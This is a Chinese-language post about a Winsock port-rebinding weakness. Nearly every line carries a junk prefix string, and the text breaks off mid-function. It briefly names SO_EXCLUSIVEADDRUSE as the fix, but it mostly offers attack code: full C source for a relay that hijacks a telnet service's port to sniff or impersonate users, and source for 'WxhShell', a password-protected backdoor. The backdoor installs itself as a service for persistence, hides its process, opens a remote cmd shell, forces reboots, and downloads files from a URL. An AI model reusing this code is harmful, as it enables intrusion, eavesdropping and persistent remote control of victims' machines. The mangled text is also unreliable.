在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Pmd5P:n*, s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
b?,=|H ov
>5+"q) saddr.sin_family = AF_INET;
K*p3#iB 3BF3$_u)o saddr.sin_addr.s_addr = htonl(INADDR_ANY);
CAN1~ nV8iYBBym bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
,s:viXk _NpxV'E 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
8,e%=7h_e dOKe}?}== 这意味着什么?意味着可以进行如下的攻击:
Q|U
[|U kQn}lD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
k/BlkjlNE _?eT[!oO8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
[| N73m,& !\^W *nQ>l 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
dx$+,R~y k[@/N+;")` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
~]'yUd1gSZ gg Nvm 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Yn0iu$;n :-(qqC: 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
%c8@ +%K~HYN 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
o*oFCR]j .kgt?r
#include
X!@ Y, #include
"M^mJl&*b #include
}KEr@h,N #include
fX>y^s?y DWORD WINAPI ClientThread(LPVOID lpParam);
ToD_9i
}6 int main()
D.ySnYzh {
_N0N#L4M WORD wVersionRequested;
/a6i` DWORD ret;
2@I0p\a WSADATA wsaData;
J6<O|ng:: BOOL val;
/Ba/gq0j SOCKADDR_IN saddr;
*>xCX SOCKADDR_IN scaddr;
6` Aw!&{ int err;
s%RG_"l SOCKET s;
OGG9f?? SOCKET sc;
3.KNAObO int caddsize;
7 y$a=+D i HANDLE mt;
J@#rOOu DWORD tid;
$\M];S=CY wVersionRequested = MAKEWORD( 2, 2 );
}02(Y!Gh err = WSAStartup( wVersionRequested, &wsaData );
P?zaut if ( err != 0 ) {
agQDd8 oX printf("error!WSAStartup failed!\n");
vF/wV'Kk return -1;
e0<O6 }
nyBT4e saddr.sin_family = AF_INET;
Zq5~M bldh 9\0$YY% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
5Yww,s oY7jj=z#T saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
tk>J
mcTw saddr.sin_port = htons(23);
M|{NC`fa if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0s RcA -9 {
jdx T662q printf("error!socket failed!\n");
~=|QPO(d return -1;
J93xxj }
1xSG(! val = TRUE;
#&%>kfeJ)< //SO_REUSEADDR选项就是可以实现端口重绑定的
i?7?I if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
"b%FkD {
kv;P2:"| printf("error!setsockopt failed!\n");
77ztDQDtM return -1;
Ds#BfP7a }
,J:Ro N_: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
q>5j (,6F //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
aK7}} //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
usC$NVdm '}"&JO~vPj if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
S0}=uL#dt {
wN :"(mQ ret=GetLastError();
xn,9Wj- printf("error!bind failed!\n");
:+ "H h% return -1;
2 gR*] ?C* }
1+YqdDqQ listen(s,2);
P+QL||>L while(1)
qdxaP% p2 {
''3I0X*! caddsize = sizeof(scaddr);
q%dbx:y# //接受连接请求
?-)v{4{s sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
P%N)]b<c* if(sc!=INVALID_SOCKET)
qB&Je$_uh {
dP`B9>r mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
sRqecG(n if(mt==NULL)
uL^`uI#I {
7!\zo mx printf("Thread Creat Failed!\n");
|=MhI5gsx break;
vo%"(! }
5L_`Fw\l }
v G9>e&Be CloseHandle(mt);
7R# }AQ }
HxcL3Bh$~} closesocket(s);
M>}_2G]#F WSACleanup();
Qkhor-f0 return 0;
$48Z>ij?f }
D3%2O`9 DWORD WINAPI ClientThread(LPVOID lpParam)
1Kd6tnX {
mrr~ #Bb> SOCKET ss = (SOCKET)lpParam;
1 vtC4` SOCKET sc;
|qz%6w= unsigned char buf[4096];
OmS8cSYGc SOCKADDR_IN saddr;
ncUS8z long num;
GR4DxlX DWORD val;
'$?!>HN4 DWORD ret;
KSHq0A6/q% //如果是隐藏端口应用的话,可以在此处加一些判断
`uH7~ r^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
tw&v@HUP saddr.sin_family = AF_INET;
d ez4g saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
w~ON861 saddr.sin_port = htons(23);
b4WH37,lA if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?~!9\dek, {
To5hVL<Ex" printf("error!socket failed!\n");
QR _h#N2h return -1;
x0:BxRx* }
r a>2< val = 100;
-esQyLx if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-6~.;M 5 {
WqF$-rBJG^ ret = GetLastError();
=0 !j"z= return -1;
! Dj2/][ }
V; CPn if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
S!+>{JyQ {
X6 N&:< ret = GetLastError();
7nFOVZ return -1;
/
*PHX@ }
bLAHVi<. if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
2#r4dr0 {
,?k1if(0[ printf("error!socket connect failed!\n");
,v,rY' closesocket(sc);
_53~D= closesocket(ss);
mt`CQz"_ return -1;
RHMXPsj }
RjVmHhX while(1)
|_>^vW1f {
XmwAYf //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
u3GBAjPsIk //如果是嗅探内容的话,可以再此处进行内容分析和记录
D79:L: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
"WUS?Q num = recv(ss,buf,4096,0);
G\TO]c if(num>0)
%^vT7c> send(sc,buf,num,0);
I[d<SHo else if(num==0)
]JV'z< break;
]bY]YNt{7] num = recv(sc,buf,4096,0);
$Ery&rX. if(num>0)
ovBmo2W/ send(ss,buf,num,0);
H;l_;c` else if(num==0)
-Ou.C7ol break;
2vX $:4 }
8W?dWj closesocket(ss);
7t:tS7{} closesocket(sc);
oPM*VTMA return 0 ;
13`Mt1R }
G{E`5KIvm Zd-6_,r
2wHbhW[ ==========================================================
V3cKbk7~ nS*Y+Q^9a 下边附上一个代码,,WXhSHELL
\ "$$c )<:TpMdUk ==========================================================
.\glNH1d rxH]'6kP #include "stdafx.h"
1{
%y(?` IhYR4?e #include <stdio.h>
JcA+ztPU #include <string.h>
F!wz{i6\h #include <windows.h>
c$%*p
(zY #include <winsock2.h>
nGkSS_X #include <winsvc.h>
W>)0=8#\ #include <urlmon.h>
mpMAhm: (rkg0 #pragma comment (lib, "Ws2_32.lib")
X3X_=qzc #pragma comment (lib, "urlmon.lib")
]p3f54! ow.!4kx{ d #define MAX_USER 100 // 最大客户端连接数
wz*iwd- #define BUF_SOCK 200 // sock buffer
RbXR/Rd #define KEY_BUFF 255 // 输入 buffer
O6R)>Y4 ElV!C}g #define REBOOT 0 // 重启
PD-&(ka. #define SHUTDOWN 1 // 关机
"8{A4N1B5 q1( [mHZ #define DEF_PORT 5000 // 监听端口
n]ba1t8ZA I}3F'}JV< #define REG_LEN 16 // 注册表键长度
g}xL7bTlI> #define SVC_LEN 80 // NT服务名长度
Oo}h:3? &|~7` // 从dll定义API
U`mX
f#D typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
J-5>+E,nZ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#e|o"R;/` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
'#V@a typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
MMs~f* YcN|L&R. // wxhshell配置信息
)ffaOS!\ struct WSCFG {
nQjpJ
/= int ws_port; // 监听端口
|JxVfX8^ char ws_passstr[REG_LEN]; // 口令
ehr-o7]( int ws_autoins; // 安装标记, 1=yes 0=no
2Lf,~EV char ws_regname[REG_LEN]; // 注册表键名
D=TS IJ@ char ws_svcname[REG_LEN]; // 服务名
T8x)i\< char ws_svcdisp[SVC_LEN]; // 服务显示名
Og/aTR<;= char ws_svcdesc[SVC_LEN]; // 服务描述信息
$`E?=L`$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
q[,p#uJ] int ws_downexe; // 下载执行标记, 1=yes 0=no
yu6{ 6[
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
O -1O@:}c char ws_filenam[SVC_LEN]; // 下载后保存的文件名
J**(7d =cS&>MT };
K8;SE! ^w60AqR8 // default Wxhshell configuration
,PTM'O@aU# struct WSCFG wscfg={DEF_PORT,
j|k/&q[St "xuhuanlingzhe",
s)a-ky( 1,
6]?mjG6 "Wxhshell",
3' i6<
"Wxhshell",
P1Hab2%+ "WxhShell Service",
wtY)(ka "Wrsky Windows CmdShell Service",
sFTAE1| "Please Input Your Password: ",
EfrQ~`\ 1,
,Vhve'=*2 "
http://www.wrsky.com/wxhshell.exe",
N3n] "Wxhshell.exe"
?e$&=FC0; };
g
X!>ef L0fe // 消息定义模块
.B:ZyTI char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
K381B5_h char *msg_ws_prompt="\n\r? for help\n\r#>";
-e/}DGL char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
!C#oZU]P char *msg_ws_ext="\n\rExit.";
hG?y)g\A char *msg_ws_end="\n\rQuit.";
]#)(D-i char *msg_ws_boot="\n\rReboot...";
H5}61 JC/z char *msg_ws_poff="\n\rShutdown...";
'f\9'v char *msg_ws_down="\n\rSave to ";
g"m'
C6; K ze?@* char *msg_ws_err="\n\rErr!";
fp' '+R[ char *msg_ws_ok="\n\rOK!";
{EoYU\x nK1eh@a9Qv char ExeFile[MAX_PATH];
0K%okq|n int nUser = 0;
u7L?9 HANDLE handles[MAX_USER];
dLiiJ6pl* int OsIsNt;
tYu<(Z(l) o5o myMN SERVICE_STATUS serviceStatus;
P%aqY~yF3 SERVICE_STATUS_HANDLE hServiceStatusHandle;
xsZG(Tz d4S4
e // 函数声明
V*j l int Install(void);
fEHFlgN3Ap int Uninstall(void);
&B{zS K$N int DownloadFile(char *sURL, SOCKET wsh);
Qn*l,Z]US int Boot(int flag);
]<;7ZNG"Y5 void HideProc(void);
_z@/~M( int GetOsVer(void);
NfV|c~?d int Wxhshell(SOCKET wsl);
v -}f
P void TalkWithClient(void *cs);
EN!C5/M{& int CmdShell(SOCKET sock);
g,Ob/g8uc int StartFromService(void);
qVC+q8 int StartWxhshell(LPSTR lpCmdLine);
E>bkEm 8RMM97@1Q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
r3'J{-kl VOID WINAPI NTServiceHandler( DWORD fdwControl );
r%U6,7d=) {r_HcI(h // 数据结构和表定义
0;bdwIP3 SERVICE_TABLE_ENTRY DispatchTable[] =
ieZ$@3#&z {
o[ZjXLJzV {wscfg.ws_svcname, NTServiceMain},
_J1\c~ke" {NULL, NULL}
zm&[K53 };
ihrf/b fDy*dp4z // 自我安装
DBAyc# int Install(void)
Hr?lRaV {
A8'RM F1 char svExeFile[MAX_PATH];
sFpg HKEY key;
4 /_jrZO strcpy(svExeFile,ExeFile);
=XR~I MB)<@.A0 // 如果是win9x系统,修改注册表设为自启动
)U %`7(bN if(!OsIsNt) {
Bb/if:XS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?'> .> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
rN}pi@ RegCloseKey(key);
&
kC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
//63|;EEkl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
g04^M( RegCloseKey(key);
(47?lw
& return 0;
\CjJa(vV }
w}3N!jNDv }
ojM'8z0Hn }
vi##E0,N'^ else {
}4C_r'd6 5iA>Z!sP[ // 如果是NT以上系统,安装为系统服务
50_[hC&C) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
wH~A>
4*( if (schSCManager!=0)
IC
cr {
cGV%=N^BE< SC_HANDLE schService = CreateService
KQfWpHwfj (
xuXPVJdi schSCManager,
<XLae'R wscfg.ws_svcname,
$g>bp<9v4 wscfg.ws_svcdisp,
|vs5N2_ SERVICE_ALL_ACCESS,
clvg5{^q[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
~+\=X`y SERVICE_AUTO_START,
poQ_r<I SERVICE_ERROR_NORMAL,
^#R`Uptib svExeFile,
+f/
I>9G NULL,
b}qfOgd5 NULL,
IBa0O|*6 NULL,
MLd;UHU NULL,
5M5Bm[X NULL
|S8$NI2 );
wkp2A18n if (schService!=0)
fI`Ez!w0 {
A%D'Z85
- CloseServiceHandle(schService);
!aT:0m$:9c CloseServiceHandle(schSCManager);
%0Ur3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
&~_F2]oM strcat(svExeFile,wscfg.ws_svcname);
,WyEwc] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
p/Ul[7A4e RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
mx9vjWfy RegCloseKey(key);
s@Q7F{z return 0;
edL2ax }
Ze0qRLuH! }
v2x+_K}J CloseServiceHandle(schSCManager);
|+Wn5iT }
[ cB^6v }
-64lf-< /9_%NR[
return 1;
l#[Z$+!09 }
AS;Sz/YP yY#h1 // 自我卸载
EXSJ@k6=8s int Uninstall(void)
6{)pF {
_^_3>}y5op HKEY key;
:ts3_-cr O\<zQ2m if(!OsIsNt) {
y(|#!m?@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
3q%z RegDeleteValue(key,wscfg.ws_regname);
zmhc\M?z RegCloseKey(key);
&{j!!LL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?M:>2wl RegDeleteValue(key,wscfg.ws_regname);
i]Mem M- RegCloseKey(key);
9^/Y7Wp/@ return 0;
a"@f< wU~ }
0Md>-H;ZY }
_$UJ'W})/ }
U`6|K$@ else {
O:0{vu9AQ ~xqiasE#K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
&PJ;B)b if (schSCManager!=0)
!.UE} ^TV {
*O[/KR% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
B?BOAH if (schService!=0)
UNDl&C2vz {
qm_l#
u6 if(DeleteService(schService)!=0) {
rO#w(] CloseServiceHandle(schService);
d[6 'w ? CloseServiceHandle(schSCManager);
D9+qT<ojN return 0;
WaB0?jI }
JMB#KzvN[ CloseServiceHandle(schService);
XZ%[;[ }
1'f_C<.0 CloseServiceHandle(schSCManager);
|:C0_`M9 }
s)WA9PiC }
9n(68|^$ v?."`,e return 1;
V0^{Ss1M }
C+'-TLeu %Yu~56c- // 从指定url下载文件
(7qlp*8.s int DownloadFile(char *sURL, SOCKET wsh)
nXn@|J&z~U {
3(oMASf HRESULT hr;
AFi_P\X char seps[]= "/";
J$6WU z:? char *token;
g>t1rZ char *file;
bll[E}E|3 char myURL[MAX_PATH];
BWxfY^,'&6 char myFILE[MAX_PATH];
{@2+oOuYfN )h@PRDI_ strcpy(myURL,sURL);
?pZ"7kkD token=strtok(myURL,seps);
{}s/p9F4 while(token!=NULL)
Al?%[-u {
%?[gBf[y file=token;
c!E{fS P token=strtok(NULL,seps);
g-K;J4 K% }
cg {5\Vl #TNjQNg@O GetCurrentDirectory(MAX_PATH,myFILE);
P;.roD9 strcat(myFILE, "\\");
s4|tWfZ strcat(myFILE, file);
9`Qa/Y! send(wsh,myFILE,strlen(myFILE),0);
z I2DQ]
9 send(wsh,"...",3,0);
R3G\Gchd hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
f"Iui if(hr==S_OK)
2|j=^ return 0;
t]SB.ja else
<TVJ9l return 1;
;j9%D`u< *OA(v^@tx7 }
_>vH%FY @RPQ1da // 系统电源模块
AZ(zM.y!#_ int Boot(int flag)
BI%^7\HZ {
{#kCqjWG HANDLE hToken;
I3 "6" TOKEN_PRIVILEGES tkp;
z]9t 5I s'yR2JYv if(OsIsNt) {
/k/X[/WO OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
C&yZ` [K LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
C<=rnIf' tkp.PrivilegeCount = 1;
a]*{!V{$i tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
x_~_/&X5 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
WOn<JCh] if(flag==REBOOT) {
,Vq$>T@z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
vu)EB!%[ return 0;
'!A}.wF0 }
{Fwvuk else {
F^/KD<cgK if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
^B1Ft5F`b return 0;
i!%WEHPe }
w)ki<Dudg }
ulzX$ else {
Q~(Qh_Ff if(flag==REBOOT) {
7C'@g)@^/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
__eB 7]#E return 0;
wb9(aS4 }
dDA8IW![S else {
:4AIYk=q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
~IYR&GEaUG return 0;
>>$L
vQ }
cO]w*Hti }
3Iqvc v ?#GTD?3d return 1;
Pm6U:RL }
qv(3qY [;Ih I // win9x进程隐藏模块
T;3qE1c void HideProc(void)
FS5iUH+5 {
=~J VU iDcTO} HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%Mj,\J! if ( hKernel != NULL )
aAe`o2Xs {
<.Zh{"$qo pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
OK v2..8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
J-/w{T8: FreeLibrary(hKernel);
9{4oz<U }
8x-19# ,vLQx\m{ return;
cWo>DuW& }
Rd HCb k IuP~Vt{m // 获取操作系统版本
hiibPc?I int GetOsVer(void)
z2{y<a9;? {
mKu,7nMvF OSVERSIONINFO winfo;
-BP10-V winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Ms +ekY) GetVersionEx(&winfo);
$1 B?@~& if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
0R? @JC return 1;
U]}F A2 else
V|@bITJ?7 return 0;
/ojx$Um }
qCI7)L` \]4EAKJE // 客户端句柄模块
qpFxl int Wxhshell(SOCKET wsl)
=8#.=J[/ {
,mx\
-lWFy SOCKET wsh;
;Q,t65+Am struct sockaddr_in client;
0?oL zw& DWORD myID;
3O;H& st* sv} while(nUser<MAX_USER)
!&Q?AS JH {
"P?O1 int nSize=sizeof(client);
1#cTk wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
i`e[Vwe2x@ if(wsh==INVALID_SOCKET) return 1;
ROn@tW UapU:>!"` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
VqvjOeCbH if(handles[nUser]==0)
.'A1Eoo0d closesocket(wsh);
B-_b.4ND) else
[ KgO:},c nUser++;
Z[w}PN,xV }
ip<VRC5`5 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Wk7E&?-:6 hDTC~~J/ return 0;
i$%Bo/Y
}
W/\VpD) ?; Z8Ig, // 关闭 socket
-5 void CloseIt(SOCKET wsh)
@@^iN~uf {
_ f";zd closesocket(wsh);
B<L7`xL nUser--;
T5|kO:CbHq ExitThread(0);
;8XRs?xyd }
z H-a%$5 MG=8`J-` // 客户端请求句柄
O'IU1sU void TalkWithClient(void *cs)
Q<u?BA/ {
:8eI_X ?R)dxuj SOCKET wsh=(SOCKET)cs;
x5MS#c!7 char pwd[SVC_LEN];
czIAx1R9 char cmd[KEY_BUFF];
[m{sl(Q char chr[1];
%m dtVQ@ int i,j;
J;Z2<x/H O<Q8%Az while (nUser < MAX_USER) {
&kzysv-_ 66F?exr if(wscfg.ws_passstr) {
z]rr
Q=dAA if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
m-azd~r[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]w>o=<?b //ZeroMemory(pwd,KEY_BUFF);
]i(/T$?~ i=0;
4 @{?4k-cq while(i<SVC_LEN) {
_b%) W;=Ae~ // 设置超时
/;(ji?wN fd_set FdRead;
nl
'MWP struct timeval TimeOut;
v.<mrI#? FD_ZERO(&FdRead);
FfM^2`xP FD_SET(wsh,&FdRead);
}NyQ<,+mq& TimeOut.tv_sec=8;
6Ot~Q TimeOut.tv_usec=0;
WN=0s int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
p&RC#wYu if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
siI%6Gn; `WXlq#:K if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
HdxP:s.T pwd
=chr[0]; R)k\
if(chr[0]==0xd || chr[0]==0xa) { I[k"I(
pwd=0; :!g|pd[{ag
break; v
=y
2
} ;DK%!."%
i++; ,\v'%,:C
} s*la`(x
l[:Aq&[o3
// 如果是非法用户,关闭 socket >-N(o2j3
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M{5AQzvs
} ~x8nC%qPvq
vb]kh_
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uEJ8Lmi
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xA(z/%
MBg[hu%
while(1) { -JgNujt#9
M]r?m@)
ZeroMemory(cmd,KEY_BUFF); =w+8q1!o
:K^J bQ
// 自动支持客户端 telnet标准 V2}\]x'1
j=0; GKo&?Tj)
while(j<KEY_BUFF) { ujxr/8mjV
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z4SJxL
cmd[j]=chr[0]; *p
$0(bz
if(chr[0]==0xa || chr[0]==0xd) { /_l\7MeI
cmd[j]=0; BJUj#s0$
break; $!>.h*np
} K{ar)_V/
j++; .c-a$39
} &$/
#"lW,V
d)vP9vXy
// 下载文件 oV:oc,
if(strstr(cmd,"http://")) { D;C';O
send(wsh,msg_ws_down,strlen(msg_ws_down),0); lcZ.}
if(DownloadFile(cmd,wsh)) DO80HS3ZD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =|agW.l
else #_35bg4h{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (|^m9v0:
} b&F9<XLqq
else { CfU|]<
0mSP
switch(cmd[0]) {
.fl r
O,B\|pd2
// 帮助 95mf
case '?': { 2g{tzR_j
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -n05Z@7
break; C*(
} GV Xdyi
// 安装 G@H!D[wd
case 'i': { |2q3spd
if(Install()) A0)^I:&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f zo'9
else h )
Wp
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Hd yra
break; n6%`
} uAPVR
// 卸载 Kb?{^\FiU
case 'r': { ~'_cBJ
'XD
if(Uninstall()) ;yJ:W8U]+;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o]oiJvOr
else &+2l#3}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 06pvI}
break; _Ub
`\ytx
} !e|\1v'0
// 显示 wxhshell 所在路径 !B3TLeh
case 'p': { R (~wSL*R>
char svExeFile[MAX_PATH]; H\S)a FY[
strcpy(svExeFile,"\n\r"); lDYgtUKG
strcat(svExeFile,ExeFile); [7v|bd
send(wsh,svExeFile,strlen(svExeFile),0); 5^ Qa8yA>7
break; !y_{mE?V(
} _HUbE /
// 重启 C[^V\?3ly:
case 'b': { /IpCo
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;>?h/tS6
if(Boot(REBOOT)) Ki;SONSV~|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -x//@8"
else { /WTEz\k
closesocket(wsh); O]u'7nO{{
ExitThread(0); f4f2xe7\Q
} S!b18|o"
break; s/D)X=P1
} .hat!Tt9
// 关机 C{}_Rb'x
case 'd': { @V*dF|# /
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q\6(_U#Tl
if(Boot(SHUTDOWN)) D`LBv,n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B3#G
else { ! K>iSF<
closesocket(wsh); KMRPleF
ExitThread(0); =5+*TL`
} 7<yc:}9nx
break; LCHMh6
} (wDE!H7
// 获取shell `$T$483/
case 's': { I'uwJy_I\
CmdShell(wsh); cszvt2BIg
closesocket(wsh); WUYI1Ij;
ExitThread(0); 5}#wp4U
break; ,S-h~x
} w"^h<]b
// 退出 (&:gD4.
case 'x': { dVQ[@u1,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
X06Lr!-%
CloseIt(wsh); I_J&>}V'
break; [*',pG
} 'X?xn@?
// 离开 m^_=^z+
case 'q': { x)::^'74
send(wsh,msg_ws_end,strlen(msg_ws_end),0); t2N W$
-E
closesocket(wsh); \fA{ sehdL
WSACleanup(); 5f-b>=02
exit(1); ^dQ{vL@9b9
break; REUxXaN>Z
} Kw
-SOFE
} Qz~uD'Rs/
} isZ5s\
3P
cVE\GN
// 提示信息 }|P3(*S
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .hl_zc#
} bNea5u##
} Aedf (L7\
xVm-4gB
return; _;1{feR_
} iM+`7L'
=kd$??F
// shell模块句柄 9njl,Q:
int CmdShell(SOCKET sock) "z~ba>,-\
{ ux; ?WPyr
STARTUPINFO si; Ke$_l]}
ZeroMemory(&si,sizeof(si)); v4ot08 C
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V0nQmsP1U
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $T'!??|IF
PROCESS_INFORMATION ProcessInfo; 6Z2 ,:j;
char cmdline[]="cmd"; 0t <nH%N}^
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $83B10OQ&L
return 0; '/W$9jm
} 8|a./%gixs
3A7774n=P
// 自身启动模式 C 0w+
j
int StartFromService(void) TQa}Ps
{ #oUNF0L@6
typedef struct VeoG[Jl
{ zCx4DN`
DWORD ExitStatus; 4<efj
DWORD PebBaseAddress; `Fy-"Uf
DWORD AffinityMask; (j:
